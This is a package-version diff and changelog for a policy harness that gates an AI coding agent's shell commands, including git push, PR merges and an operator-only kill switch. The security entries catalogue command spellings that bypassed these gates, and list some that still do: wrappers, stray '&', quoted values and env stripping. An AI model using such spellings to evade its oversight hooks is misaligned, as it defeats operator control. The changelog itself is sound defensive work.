@lannguyensi/harness 0.41.0 → 0.43.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (137) hide show
  1. package/CHANGELOG.md +58 -0
  2. package/README.md +9 -0
  3. package/dist/cli/adopt/derive.d.ts +15 -0
  4. package/dist/cli/adopt/derive.js +34 -7
  5. package/dist/cli/adopt/derive.js.map +1 -1
  6. package/dist/cli/adopt/index.d.ts +30 -0
  7. package/dist/cli/adopt/index.js +23 -3
  8. package/dist/cli/adopt/index.js.map +1 -1
  9. package/dist/cli/apply/generate-settings.d.ts +14 -1
  10. package/dist/cli/apply/generate-settings.js +7 -3
  11. package/dist/cli/apply/generate-settings.js.map +1 -1
  12. package/dist/cli/approve/branch-protection.js +1 -1
  13. package/dist/cli/approve/branch-protection.js.map +1 -1
  14. package/dist/cli/approve/stdin-report.js +2 -0
  15. package/dist/cli/approve/stdin-report.js.map +1 -1
  16. package/dist/cli/doctor/claude-mcp.d.ts +50 -0
  17. package/dist/cli/doctor/claude-mcp.js +170 -0
  18. package/dist/cli/doctor/claude-mcp.js.map +1 -0
  19. package/dist/cli/doctor/format.js +37 -0
  20. package/dist/cli/doctor/format.js.map +1 -1
  21. package/dist/cli/doctor/index.d.ts +10 -0
  22. package/dist/cli/doctor/index.js +24 -0
  23. package/dist/cli/doctor/index.js.map +1 -1
  24. package/dist/cli/doctor/npm-bin-path.js +42 -0
  25. package/dist/cli/doctor/npm-bin-path.js.map +1 -1
  26. package/dist/cli/doctor/types.d.ts +11 -0
  27. package/dist/cli/doctor/types.js.map +1 -1
  28. package/dist/cli/dry-run.js +13 -1
  29. package/dist/cli/dry-run.js.map +1 -1
  30. package/dist/cli/index.js +253 -5
  31. package/dist/cli/index.js.map +1 -1
  32. package/dist/cli/init/agent-tasks-auth.js +32 -0
  33. package/dist/cli/init/agent-tasks-auth.js.map +1 -1
  34. package/dist/cli/init/composer.js +9 -15
  35. package/dist/cli/init/composer.js.map +1 -1
  36. package/dist/cli/init/dependencies.js +21 -0
  37. package/dist/cli/init/dependencies.js.map +1 -1
  38. package/dist/cli/init/detect.d.ts +20 -3
  39. package/dist/cli/init/detect.js +34 -36
  40. package/dist/cli/init/detect.js.map +1 -1
  41. package/dist/cli/init/interactive.d.ts +33 -0
  42. package/dist/cli/init/interactive.js +399 -5
  43. package/dist/cli/init/interactive.js.map +1 -1
  44. package/dist/cli/init/profiles.d.ts +1 -1
  45. package/dist/cli/init/profiles.js +2 -2
  46. package/dist/cli/init/templates.d.ts +1 -1
  47. package/dist/cli/init/templates.js +111 -32
  48. package/dist/cli/init/templates.js.map +1 -1
  49. package/dist/cli/main.js +10 -0
  50. package/dist/cli/main.js.map +1 -1
  51. package/dist/cli/pack/hook-branch-protection.js +1 -1
  52. package/dist/cli/pack/hook-branch-protection.js.map +1 -1
  53. package/dist/cli/pack/hook-post-merge-gate-record.d.ts +30 -0
  54. package/dist/cli/pack/hook-post-merge-gate-record.js +153 -0
  55. package/dist/cli/pack/hook-post-merge-gate-record.js.map +1 -0
  56. package/dist/cli/pack/hook-post-merge-gate.d.ts +28 -0
  57. package/dist/cli/pack/hook-post-merge-gate.js +244 -0
  58. package/dist/cli/pack/hook-post-merge-gate.js.map +1 -0
  59. package/dist/cli/pack/hook-solution-acceptance-writeguard.js +149 -3
  60. package/dist/cli/pack/hook-solution-acceptance-writeguard.js.map +1 -1
  61. package/dist/cli/pack/hook-solution-acceptance.js +1 -1
  62. package/dist/cli/pack/hook-solution-acceptance.js.map +1 -1
  63. package/dist/cli/pack/understanding-report-schema-hint.js +1 -1
  64. package/dist/cli/pack/understanding-report-schema-hint.js.map +1 -1
  65. package/dist/cli/policy/intercept.js +77 -10
  66. package/dist/cli/policy/intercept.js.map +1 -1
  67. package/dist/cli/record/index.d.ts +64 -0
  68. package/dist/cli/record/index.js +211 -0
  69. package/dist/cli/record/index.js.map +1 -0
  70. package/dist/cli/session-start/index.d.ts +7 -0
  71. package/dist/cli/session-start/index.js +133 -38
  72. package/dist/cli/session-start/index.js.map +1 -1
  73. package/dist/cli/session-start/toolchain-parity.d.ts +149 -0
  74. package/dist/cli/session-start/toolchain-parity.js +618 -0
  75. package/dist/cli/session-start/toolchain-parity.js.map +1 -0
  76. package/dist/cli/uninstall/index.d.ts +73 -1
  77. package/dist/cli/uninstall/index.js +134 -2
  78. package/dist/cli/uninstall/index.js.map +1 -1
  79. package/dist/cli/validate/checks.js +2 -2
  80. package/dist/cli/validate/checks.js.map +1 -1
  81. package/dist/io/claude-mcp.d.ts +258 -0
  82. package/dist/io/claude-mcp.js +544 -0
  83. package/dist/io/claude-mcp.js.map +1 -0
  84. package/dist/policies/ledger-client.d.ts +34 -1
  85. package/dist/policies/ledger-client.js +21 -16
  86. package/dist/policies/ledger-client.js.map +1 -1
  87. package/dist/policy-packs/builtin/branch-protection-runtime.d.ts +1 -1
  88. package/dist/policy-packs/builtin/branch-protection-runtime.js +1 -1
  89. package/dist/policy-packs/builtin/branch-protection.js +2 -2
  90. package/dist/policy-packs/builtin/branch-protection.js.map +1 -1
  91. package/dist/policy-packs/builtin/post-merge-gate-runtime.d.ts +195 -0
  92. package/dist/policy-packs/builtin/post-merge-gate-runtime.js +290 -0
  93. package/dist/policy-packs/builtin/post-merge-gate-runtime.js.map +1 -0
  94. package/dist/policy-packs/builtin/post-merge-gate.d.ts +56 -0
  95. package/dist/policy-packs/builtin/post-merge-gate.js +291 -0
  96. package/dist/policy-packs/builtin/post-merge-gate.js.map +1 -0
  97. package/dist/policy-packs/builtin/solution-acceptance-runtime.js +29 -14
  98. package/dist/policy-packs/builtin/solution-acceptance-runtime.js.map +1 -1
  99. package/dist/policy-packs/builtin/solution-acceptance.js +1 -1
  100. package/dist/policy-packs/registry.d.ts +1 -1
  101. package/dist/policy-packs/registry.js +12 -0
  102. package/dist/policy-packs/registry.js.map +1 -1
  103. package/dist/runtime/bash-match-facts.d.ts +58 -0
  104. package/dist/runtime/bash-match-facts.js +194 -0
  105. package/dist/runtime/bash-match-facts.js.map +1 -0
  106. package/dist/runtime/bash-match-registry.d.ts +75 -0
  107. package/dist/runtime/bash-match-registry.js +359 -0
  108. package/dist/runtime/bash-match-registry.js.map +1 -0
  109. package/dist/runtime/bash-prefix-parse.js +23 -0
  110. package/dist/runtime/bash-prefix-parse.js.map +1 -1
  111. package/dist/runtime/command-normalize.d.ts +92 -0
  112. package/dist/runtime/command-normalize.js +1182 -0
  113. package/dist/runtime/command-normalize.js.map +1 -0
  114. package/dist/runtime/git-context.d.ts +50 -0
  115. package/dist/runtime/git-context.js +108 -1
  116. package/dist/runtime/git-context.js.map +1 -1
  117. package/dist/runtime/hermetic-spawn-guard.d.ts +25 -0
  118. package/dist/runtime/hermetic-spawn-guard.js +136 -0
  119. package/dist/runtime/hermetic-spawn-guard.js.map +1 -0
  120. package/dist/runtime/intercept.d.ts +39 -1
  121. package/dist/runtime/intercept.js +33 -4
  122. package/dist/runtime/intercept.js.map +1 -1
  123. package/dist/runtime/ledger-writer.d.ts +27 -0
  124. package/dist/runtime/ledger-writer.js +46 -0
  125. package/dist/runtime/ledger-writer.js.map +1 -0
  126. package/dist/runtime/read-only-bash.d.ts +43 -0
  127. package/dist/runtime/read-only-bash.js +133 -3
  128. package/dist/runtime/read-only-bash.js.map +1 -1
  129. package/dist/schema/index.d.ts +41 -0
  130. package/dist/schema/index.js +5 -0
  131. package/dist/schema/index.js.map +1 -1
  132. package/dist/schema/policies.js +1 -1
  133. package/dist/schema/policies.js.map +1 -1
  134. package/dist/schema/toolchain-parity.d.ts +18 -0
  135. package/dist/schema/toolchain-parity.js +35 -0
  136. package/dist/schema/toolchain-parity.js.map +1 -0
  137. package/package.json +5 -2
package/CHANGELOG.md CHANGED
@@ -7,6 +7,64 @@ and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
8
  ## [Unreleased]
9
9
 
10
+ ## [0.43.0] - 2026-08-01
11
+
12
+ > **Upgrade note:** the template-level changes in this release — the single-`&` trigger boundary (including the `operator_only` kill-switch deny) and the `mcp__grounding-mcp__` tool-prefix rename — live in the manifest templates, so an EXISTING install keeps its old `harness.yaml` triggers until the operator re-runs `harness init` (or edits the manifest by hand). The engine-side normaliser fixes below apply on package upgrade with no manifest change.
13
+
14
+ ### Security
15
+
16
+ - **A single `&` was not a command boundary to any policy trigger, so a gated verb placed after one reached no gate at all, including an `operator_only` deny** (task `d834a065`). bash starts a new command after `&`, but the alternation every shipped `policies[].trigger.bash_match` shares listed only `&&`. Measured through the real prediction path against `docs/examples/full-manifest.yaml`, with each policy plain form as its own positive control and a PATH shim proving the verb really executed: `A=x&git status`, `A=x&git push`, `A=x&gh pr merge` and `A=x&harness pause` all missed their trigger, and `sleep 0 & git status` misses with no assignment prefix at all, so this is a boundary-alphabet gap rather than a quote-model one. The `harness pause` case is the sharpest: `deny-kill-switch-bypass` is `operator_only: true`, which no in-session evidence can open, and one character walked around it. Fix: the `&&` alternative becomes `&` in every policy trigger across `src/cli/init/templates.ts` and `docs/examples/full-manifest.yaml`. `&&` is subsumed rather than dropped, since in `A=x&&git status` the second `&` serves as the boundary, so the change is strictly more permissive and is pinned in both directions. **Cost, measured rather than argued** (the analysis that found this could not measure precision at all, 75 of 75 axes without a reference): a false-alarm corpus with bash deciding whether the verb really runs reports 3 pre-existing false alarms and 6 new ones, every new one of the shape "gated verb mentioned as text after a literal `&`" (`echo "a & git status"`, the same string inside a heredoc body, after a `#` comment, as a `grep` pattern, or as an assignment value). One more spelling outside that corpus behaves the same way: `sed -i 's/foo/& git status/' notes.md`, since `&` is sed's whole-match backreference. That is the already-open `dbc6d303` class, which fires on `&&` in text today, widened by one spelling; the direction is fail-closed. **Which policy a false alarm lands on matters, so it is recorded rather than averaged:** most land on `requires:`-gated policies an agent can satisfy itself, but a mention of `harness pause` after an `&` now trips `deny-kill-switch-bypass`, which is `operator_only: true` and has NO in-session recovery path. Writing prose that quotes this very fix in a Bash heredoc is enough to hit it. Measured live twice while reviewing this change. **Surfaces deliberately left on the old alphabet, named rather than swept:** three policy-pack runtime regexes (`CURATED_MUTATION_BASH_RE` and `GH_PR_MERGE_BASH_RE` in `src/policy-packs/builtin/post-merge-gate-runtime.ts`, `DEFAULT_PUSH_BASH_RE` in `src/policy-packs/builtin/solution-acceptance-runtime.ts`) and this repo's own `dogfood/harness.yaml`. They carry the identical gap on live gate surfaces, but a blanket sweep would be wrong: `ESCAPE_GIT_BASH_RE` / `ESCAPE_HARNESS_BASH_RE` in the same pack file are ALLOW-lists checked first, so widening those would LOOSEN a gate instead of hardening it. Tracked as follow-up `76671e5a` so the per-surface direction is decided rather than assumed. **What this does NOT touch:** `expire_on_bash_match` is a separate anchored family (`^gh pr (merge|close)`, `^git push origin (master|main)`) with no boundary alternation, deliberately left alone because widening it would change ledger-expiry semantics, and now pinned to stay anchored and alternation-free. Also unchanged: the quote-model bypasses (`cf3dff51`, `b093911d`) that survive this fix, and the head-spelling gaps (`"git" status`, `\git status`). A second emitter carried the same hole and is fixed here too, found by review rather than by the original sweep: `src/cli/init/composer.ts`, the `harness init --interactive` Custom profile, six patterns, so the bypass stayed live for every operator who picked Custom. Loss for the trigger layer was measured against the previous patterns with a passing positive control: **0 of 7,764 old matches lost** across all 15 shipped patterns, 900 newly matched, over a 68,040-string corpus of assignment prefixes, separators, wrappers and gated verbs. That number covers the RAW trigger layer only.
17
+
18
+ **A third change was attempted, measured, and REVERTED, recorded here because the attempt is the useful part.** `BOUNDARY_RE` in `src/runtime/command-normalize.ts` has the same gap, and leaving it means the adjacent spelling `A=x&env -C /tmp git status` stays ungated (a wrapper can only be peeled after a recognised boundary). Adding `&` there closed that and 259 similar spellings, but review measured what the first corpus never sampled: `BOUNDARY_RE` is quote-unaware, `&` inside a quoted assignment value is common, and the split lands mid-quote so the value continuation never engages. Independently reproduced with a passing positive control: **140 of 140** sampled `<wrapper> FOO='a&b' <gated verb>` spellings LOST a gate they held before, including the `operator_only` kill-switch deny. Closing one bypass while opening a wider one is not a trade worth shipping, so the edit is reverted and the module now carries the measurement so the next attempt starts from it. The remaining `A=x&env ...` gap is tracked separately; it needs a design that does not regress the quoted-value case, not another character in that alternation. New tests in `tests/cli/init-full-template-pins.test.ts` (data-driven over all three profile templates plus `composeCustom()` output, asserting that EVERY declared trigger is exercised rather than merely one, and a negative pin that no shipped `bash_match` string in the templates, the composer, the example manifests or the docs still carries the old alternative, scanning each file as one whitespace-collapsed string because a per-line scan went blind to the four prettier-wrapped composer values, which a mutation confirmed) and `tests/cli/init-full-template-kill-switch-deny.test.ts`. The docs that taught the vulnerable anchor (`docs/writing-custom-policies.md`, `docs/ARCHITECTURE.md`, `docs/examples/policies/02-clean-check-before-push.yaml`) are updated, since they were the propagation vector.
19
+
20
+ - **A git-verb `bash_match` policy trigger could be silently defeated by wrapping the command, and the bypass left NO audit trail at all — no ledger query, no decision, no `harness audit` row** (task `ea8becf5`). `preflight-before-investigation`'s trigger was a raw regex requiring the literal token `git` at a shell boundary, optionally preceded by `VAR=value` tokens; `env`/`nice`/`command`/`sudo`/`doas`/`time`/`timeout`/`stdbuf`/`setsid` wrappers, any git global option other than `-C`, a path-qualified `git` binary, or even a doubled space between `git` and its subcommand all defeated it. Reproduced live: `env -C <repo> git status` reached an un-preflighted repository while `cd <repo>; git status` was correctly blocked. Fix: a new pure normaliser, `src/runtime/command-normalize.ts`, peels the wrapper prefixes above (matching the git token by basename, e.g. `/usr/bin/git`) and canonicalises a git invocation's own global options (`-C`, `-c`, `--git-dir`, `--work-tree`, `--no-pager`, `--exec-path`, `--namespace`, …) down to `git <subcommand>`; `policyMatchesEvent` (`src/runtime/intercept.ts`) now tests each `bash_match` regex against the raw command and, only on a raw miss, against the normalised one — additive by construction, so nothing gated before this can become ungated, pinned by a superset test. This change lives entirely in the engine, so an already-installed manifest is fixed on upgrade — no `harness apply` or manifest edit required. **What this does NOT close, so no doc or commit claims it does:** only a `bash_match` whose peeled head token is literally `git` benefits at all. `review-before-merge-bash`'s `gh pr merge` trigger, `review-subagent-before-pr-create-bash`'s `gh pr create` trigger, `dogfood-before-release`'s `npm publish` half (its `git tag v` half IS covered), and all three `deny-*` operator-only kill switches (`harness pause`/`resume`/`gate`, the session-env-strip pattern, the pause-sentinel-write pattern) remain exactly as wrapper-bypassable as before this change — do not read it as having hardened those (since narrowed in this same Unreleased batch by task `432db3d3`, see below: the `gh`/`npm publish`/`harness` head tokens are now covered, while `deny-session-env-strip` and `deny-pause-sentinel-forgery` remain open there too). Also still open: `xargs git status` (deliberately excluded — `xargs` can invoke its wrapped command zero, one, or many times, unlike a transparent wrapper), a quoted subcommand (`git "status"`), backtick command substitution (`` echo `env -C /tmp git status` ``), `sh -c`, heredocs, `eval`, base64-decoded payloads, and quoted paths containing whitespace. **Correction (review round 2): `$(...)` command substitution is NOT open, unlike the backtick case right before it** — `echo $(env -C /tmp git status)` demonstrably blocks today, ACCIDENTALLY: `$(...)`'s opening paren happens to be the exact `(` character this module already treats as a shell boundary for the `(cd X && ...)` leading-subshell case, so it falls out of that, not a deliberate feature, and is now pinned by a dedicated test so an unrelated future edit can't silently drop the coincidence. Ten more measured bypasses found in the same review round (G2 finding, 2026-07-27), none of them peeled wrapper prefixes or a recognised `git` spelling: `exec`/`nohup`/`ionice`/`flock`/`script`/`chrt`/`taskset` wrapping `git status`, a backslash-escaped `git` token (`\git status`), a quoted git BINARY name (`"git" status` — the mirror image of the quoted-subcommand gap above), and `env -S "git status"` (the split-string flag hands off to a fresh, deliberately-opaque re-parse). An eleventh, `nice -10 git status` (the bare-dash form `nice(1)` documents as its PRIMARY spelling), was measured as a bypass in the same pass but is now CLOSED (G3 fix, review round 2): `nice` stays in the peeled-wrapper list, this just widens which of its own spellings are recognised. And an `env`-argument spelling like `--default-signal=INT`, which only one of the two independent env-peelers previously recognised, is ALSO now closed (G6 fix, review round 2): the earlier fix here (sharing the flag-NAME enumerations via exported constants in `src/runtime/read-only-bash.ts`) had only closed the flag-name-SET drift, not this specific bypass, which needed its own generic glued-`--long=value` catch-all mirrored into this module too. Separately (G4 finding, review round 2): above `MAX_NORMALIZE_LENGTH` (100,000 chars), normalisation used to skip SILENTLY — no stderr line, no audit row; `harness policy intercept` now emits one stderr line reporting the skip, and `docs/okf/gate-fail-posture-matrix.md` gained a matching row. **Newly widened false positives** (pre-existing class, task `dbc6d303`): quoted or heredoc text mentioning a wrapped git verb can now trigger where it previously did not — but only when the mention sits at a shell-boundary position (line start, or after `;` / `|` / `&&` / `(`), which is narrower than "anywhere in quoted text": measured, `echo "a; env git status"` blocks while `echo "env -C /tmp git status"` does not. Hit three times live during this fix's own development: an Understanding Report heredoc, a commit message containing an `&& git push` example, and a reviewer's own probe script whose case labels contained the literal verbs. `harness dry-run`'s trigger prediction now matches raw-or-normalised the same way `policy intercept` does, closing a debug-verb/runtime prediction mismatch on the identical spellings above.
21
+ - **Per-repository target resolution is explicitly NOT part of this task, and no doc or commit claims otherwise.** `${REPO}`/`${BRANCH}` (`src/cli/policy/intercept.ts`) still resolve from the hook's own cwd alone, exactly as in 0.42.0: a command that explicitly names a different repository (`git -C <B>`, `env -C <B>`, a leading `cd <B> &&`) does not change what `${REPO}`/`${BRANCH}` name. A `preflight:<repo>` fact recorded for repository A therefore still authorises a command that explicitly reads (or, chained, mutates) repository B — unchanged from the shipped 0.42.0 behaviour, not a new gap introduced here. A per-command target-directory resolution for these builtins was built and reviewed on this same task, but was found to regress security in three consecutive review rounds — Risk Gate risk declassification, a push-gate multi-invocation fail-open, and (found twice: first fixed via `&&`-chain coverage, then found still open via `|`/`||` chaining) a non-git gated verb inheriting a decoy repo's target from an unrelated, `-C`-scoped git call sharing the same command line (e.g. `git -C <decoy> rev-parse HEAD | gh pr merge`) — and was removed before shipping rather than patched a fourth time. Each fix was only ever partial because a single `targetDir` per event cannot express "this invocation targets repo B, but the gated verb after it runs in the caller's own cwd"; the correct fix needs to attribute a target to the SEGMENT that actually satisfies a policy's own trigger, which means the policy builtins becoming per-policy instead of per-event — an architectural change out of scope for this task, tracked as follow-up task `98ad072f`. The extraction this would have been built on (`command-normalize.ts`'s `targetDir`/`targetBase`, including its own git-vs-git and git-vs-non-git ambiguity rules) stays in the tree, fully tested but unwired, as that follow-up's foundation. New tests: `tests/runtime/command-normalize.test.ts`, new suites in `tests/runtime/intercept-cli.test.ts` and `tests/cli/dry-run.test.ts` (the G1 git-vs-non-git-verb ambiguity cases through the real `review-before-merge-bash`/`review-subagent-before-pr-create-bash`/`dogfood-before-release` triggers, the G2 ten-spelling ceiling plus the `$(...)` accidental-coverage pin, the G3 `nice` bare-form cases, the G6 `env --default-signal=INT` case, a `policy intercept` end-to-end pin on the G4 stderr line, and an explicit regression test that a command naming a foreign target repo resolves `${REPO}`/`${BRANCH}` to the CWD repo, not the named target, so a future reintroduction of target resolution cannot land unnoticed). Docs: `docs/okf/gate-fail-posture-matrix.md`, `docs/okf/debug-verb-selection.md`, `docs/okf/policy-engine-producer-wiring.md`, `docs/okf/codex-adapter-parity-gaps.md`, `docs/okf/pause-vs-gate-kill-switch.md`.
22
+
23
+ - **Non-git `bash_match` triggers no longer lose to a one-word wrapper: `command-normalize.ts`'s head-token condition widened from literally-`git` to the closed set `git`/`gh`/`npm`/`harness`** (task `432db3d3`, follow-up to the `ea8becf5` entry above). Measured closed, per spelling through the real hook entry point with the shipped 0.42.0 binary as negative control: `env` / `env -C <dir>` / `nice` wrapping the `gh pr merge` verb, `env` wrapping `gh pr create`, `env` / `nice` wrapping `npm publish`, `env` / `nice` / `command` / `env -C <dir>` wrapping `harness pause`, plus whitespace-run spellings (`gh pr merge`, `gh pr merge`, tab forms, `npm publish`) — the interior-run group via a full-segment single-space rejoin for set heads, because collapsing only the head-adjacent gap measurably left `gh pr merge` open (review finding). Matching stays raw-OR-normalised and therefore strictly additive (superset pinned), with a new ordering pin: `env -u CLAUDE_CODE_SESSION_ID npm publish` must keep blocking `deny-session-env-strip` via the RAW match — the one shipped shape where the normalised form erases what another policy keys on, so this single test goes red if raw-first matching is ever collapsed to normalised-only. **What this does NOT close, measured and pinned rather than implied: only one of the three operator-only kill switches benefits.** `deny-session-env-strip` keys on `env`/`unset` head tokens and is structurally out of the normaliser's reach (its peel loop consumes `env -u <VAR>` while hunting for a gated command behind it, erasing the very text that trigger keys on); `deny-pause-sentinel-forgery` keys on `tee`/`cp`; both remain one-wrapper-word bypassable (`nice env -u CLAUDE_CODE_SESSION_ID ls`, `nice tee <sentinel>`), pinned as explicit not-covered tests. Also uncovered and pinned: tool-specific flags between head token and subcommand (`gh -R`, `npm --loglevel`) and path-qualified `gh`/`npm` spellings (byte-identical through the normaliser; a path-qualified `harness pause` still denies via the trigger regex's own `\S*/` alternative at the raw level). New false-positive class recorded: introspection spellings (`command -v harness pause`, `sudo -l harness pause`) now deny — over-block direction, distinct from the quoted/heredoc class (task `dbc6d303`), which this change widens twice: to wrapped non-git verb mentions at shell-boundary positions, and — via the full-segment rejoin — to whitespace-run spellings of them inside quoted text (measured example: `harness explain-policy --command "( npm publish )"` now matches where only its single-spaced variant did before). A new drift guard, `tests/runtime/bash-match-head-token-drift.test.ts`, couples the engine's head-token set to `FULL_TEMPLATE`'s actual `bash_match` policies (policy inventory plus per-token spelling presence), so the next policy gating a new head token turns a test red instead of staying silently uncovered; the guard's own residual — a new alternative added ALONGSIDE a still-correct token inside an existing policy's regex escapes both checks — is stated in the test file header. Docs: the `deny-kill-switch-bypass` UPDATE comment in `src/cli/init/templates.ts` and `docs/okf/pause-vs-gate-kill-switch.md` now state the partial closure precisely instead of the pre-fix "no-op unless `git`" claim.
24
+
25
+ - **SECURITY: a quoted env-assignment value with embedded whitespace (`VAR='hello world' git push`) bypassed every `bash_match` gate on BOTH matching layers — closed by continuing the assignment's value across tokens in the normaliser** (task `13e55484`, found by a read-only explorer during `d977ad58` and verified against the shipped binary, not derived). Measured at the real hook entry point with shipped 0.42.0 as control: `VAR='hello world' git push origin master` and `VAR='hello world' gh pr merge 4242 --squash` both produced "no policy matched" while their plain spellings blocked. The two layers failed on the same character: the raw regex's `(\w+=\S+\s+)*` cannot span an embedded space, and `command-normalize.ts`'s whitespace tokenizer split the assignment into `VAR='hello` + `world'`, the second token aborting the wrapper-peel loop so the segment came back byte-identical. Fix: a `consumeAssignment` helper continues an assignment's VALUE across whitespace-split tokens while an opening quote from that assignment stays unbalanced at a token's end AND a matching close exists in a later token, used by both the top-level peel loop and `peelEnv`'s own assignment scan (`env VAR='a b' git push` was the same bypass one wrapper deep) — deliberately NOT a general quote-aware tokenizer. **Review round 1 found the first version's load-bearing claim ("additive by construction") FALSE by measurement (CRITICAL, fixed before merge):** a 30k-case seeded differential fuzz against a master worktree surfaced 482 lost matches, rooted in ANSI-C quoting — bash escapes `\'` inside `$'...'`, a plain-`'...'` scanner closes on it — so `A=$'don\'t' env harness pause # '` left a phantom-open state that swallowed the gated head token and turned three MASTER-BLOCKED commands (push gate, merge gate, and the operator-only kill-switch deny) into "no policy matched", PATH-shim-verified as real invocations. Closed with a ONE-DIRECTIONAL GUARD: the continuation abandons back to the byte-exact pre-task one-token consume the moment the token it would consume next matches `GIT_TOKEN_RE` or `NON_GIT_HEAD_TOKENS`. **Scope of the guarantee, corrected in round 2 after the first re-wording overclaimed again:** the guard closes the HEAD-SWALLOW channel specifically (a diverging quote state can never swallow or re-target a recognised head token — round-2 re-verified: the round-1-style differential fuzz lost 0 of 19,994 cases). It is NOT universal monotonicity: a second, round-2-measured channel remains where the continuation closes on a wrapper's glued flag token and the peel resumes at that wrapper's next argument (`A='x timeout --signal=INT' 5 git push` matched on master, does not here — 550 of 41,440 adversarial cases). Every found member is a MASTER FALSE POSITIVE, PATH-shim-verified (110 are `bash -n` syntax errors, the other 440 execute the next word — `5`, `-e0` — never the gated verb), so no gated invocation is lost and the branch is the more bash-accurate side; the class is pinned so it cannot silently widen. Differential regression pins: the three ANSI-C repros, a wrapper-swallow case (`env VAR='a git push origin master' foo`), the wrapper-argument-list class above, and a path-qualified-glued-quote case (`VAR='a /usr/bin/git' git push` — the guard's exact-spelling check does not abandon there, and the REAL invocation behind it now matches, a measured fail-closed gain). An UNTERMINATED quote (`VAR='a git push`) keeps its pre-task normalised match, and the engagement assurance was re-scoped after being measured not load-bearing (the whole-corpus ≥8 threshold stayed green with every quoted entry deleted): every quoted-assign corpus entry must now match ONLY via normalisation, ≥4 entries, so disabling the continuation reddens the assertion itself — the dbc6d303 lesson applied twice. Closure pinned per variant: double quotes, multiple mixed-quoting assignments, assignment+wrapper, env-internal assignment, tab-in-value, chained quote runs (`'a b'"c d"`), and the second gated verb; mutation-probed both ways (guard removed → exactly the 4 differential pins red; both call sites reverted → 11 red: the 8 closure pins, the over-block pin, the corpus property, and the family engagement). **What this does NOT close, pinned as still-open rather than implied:** a shell-boundary character INSIDE the quoted value (`VAR='a; b' git push origin master` — quote-unaware `BOUNDARY_RE` splits the segment before tokenisation ever runs; measured bypass on both master and branch, outside this task's pre-declared budget per its halt criterion); a quoted value containing the literal word `git`/`gh`/`npm`/`harness` as its own token (`VAR='a git b' git push` — the guard's honest cost; byte-identical to master's behaviour, so nothing regressed); backslash-escaped whitespace without quotes (`VAR=a\ b git push`, task `b093911d`'s class); and the RAW regex half, deliberately unchanged (the engine-level fix heals installed manifests on upgrade — note the shipped 0.42.0 binary has NO normaliser at all, so every wrapped spelling here is 0.42.0-bypassable until the next release ships this whole Unreleased batch). **New accepted over-block, decided not discovered:** a quoted assignment inside TEXT at a segment-start position now matches (`echo "a; VAR='x y' git push"` blocks where master allowed) — fail-closed direction, same class the module's KNOWN OVER-MATCHING section documents, pinned as a boundary assertion. Latency (corrected twice in review — the first entry claimed sub-microsecond, the second gave numbers without naming the input shape, which varies the cost by >2x at the same length): 0.6-2µs per `normalizeCommand` call on typical spellings; at `MAX_NORMALIZE_LENGTH` (100k chars) the cost ranges by shape from ~1.2ms (plain command, both sides identical) through ~0.85ms master / ~1.09ms branch (assignment-heavy) to ~2.0ms master / ~2.3ms branch on the worst adversarial quoting shape — linear scaling on every shape, against a 1000ms hook budget.
26
+
27
+ ### Added
28
+
29
+ - **Cross-build measurements of the Bash prefix parser's cd-target extraction now have a permanent, self-testing instrument: `scripts/measure-bash-prefix-parse.mjs` (`npm run measure:bash-prefix-parse -- --self-test`, then with `--baseline name=path` builds for a real run)** (task `47297478`). The `b093911d` run produced three consecutive measurement corpora that reported "0 lost cd targets" while being structurally incapable of reporting a loss (round 3: the separator-less arm rendered `A=xcd /tmp` and a non-writable cwd silently killed every redirect shape; round 4: exactly the one spelling per separator where the baseline is also null), each time turning into a false safety claim that cost a full review round. The tool hardens that run's `final-audit.mjs` into repo infrastructure: a candidate build of `src/runtime/bash-prefix-parse.ts` is measured against real bash (resolved once to an absolute path with execvp-faithful file/executable checks; the corpus children get a PATH containing ONLY the probe-shim directory, so no corpus command can resolve a real binary via PATH — that constrains lookups, not absolute paths, and the generator emitting no absolute binary paths is what makes "today nothing but the probe shim executes" true; the workspace also runs the shim once up front and fails with a self-naming error if the interpreter path is broken) and at least two baseline builds — duplicate baseline names are rejected instead of silently merging counter buckets. PER-ARM GATE: an arm whose shapes never ran, never entered the target, or whose baseline never hit is reported as proving nothing and is never folded into a total zero; a total that excludes such arms says so instead of printing a bare 0, and the baseline-independent candidate table (per-arm hits, phantoms, wrong targets — attribution down to the spelling) carries the same qualifier for arms that were never observed at all. A rendered legend states what a phantom is (bash did not enter the target ON THIS RUN, which includes a statically present `cd` on a short-circuited `||` branch — conservative for a risk gate, not by itself a parser defect). Both residual weaknesses the run's reviewer named in `final-audit.mjs` are fixed: every baseline keeps independent counters (a loss against two baselines counts against both, no `else if` folding), and a non-null-but-WRONG target is its own failure class for candidate and baselines alike, never a hit — so a wrong-target baseline cannot satisfy the gate either. The instrument proves it can fail before it is believed: the self-test (always run first; `--self-test` runs it alone) rebuilds the round-3 defect on purpose and requires the gate to flag the sabotaged arm as evidence-free via an entered-based delta that parser state cannot satisfy, carries a deliberately blind baseline as a positive control that the BASELINE-NEVER-HIT rung (the round-4 countermeasure) can fire, requires executed redirect shapes (writable-cwd control), and treats a candidate regression on the canonical arm as a loud warning rather than misdiagnosing it as a broken environment. The assertion set is a pure exported function (`evaluateSelfTest`) with its own failure-path unit tests, so a deleted assertion cannot vanish silently. New tests: `tests/scripts/measure-bash-prefix-parse.test.ts` (hermetic audit-core + self-test-assertion + arg-parsing suites with injected referee/parsers, plus a real-bash CLI self-test e2e via the INFRA-allowlisted `node`; the grandchild route is recorded at the spawn guard's residual-exposure note). `bash-prefix-parse.ts` and `command-normalize.ts` carry a MEASUREMENT RULE header pointer scoped to what the tool actually measures — `cdTarget` only; inline-env extraction and `command-normalize.ts`'s target extraction have NO instrument yet and say so. The parser itself is untouched.
30
+
31
+ - **The drift guard that couples engine-side constants to the shipped manifest is now general, after the same defect shipped twice one day and one file apart** (task `074acf5d`). `432db3d3`'s guard checked one set in one file; `dbc6d303` then put `harness` — itself the gated head token of `deny-kill-switch-bypass` — into a NEW module's inert-consumer allowlist, reverting that policy's quoted-spelling hardening, and the existing guard structurally could not see it. `src/runtime/bash-match-facts.ts` derives the shipped manifest's `bash_match` facts live (which policies declare one, which literal head tokens each anchors on, which verbs) and answers "is this token gated by any shipped policy?" in one call; it throws at module-evaluation time when a policy is added, removed or renamed, so the curated map cannot drift silently. `src/runtime/bash-match-registry.ts` registers each engine-side set with a declared intent (`covers-gated-head-tokens` or `must-not-contain-gated-head-token`) and checks every registration against those facts. Both historical incidents are pinned as regressions and were re-verified by an independent reviewer against the REAL registrations, not 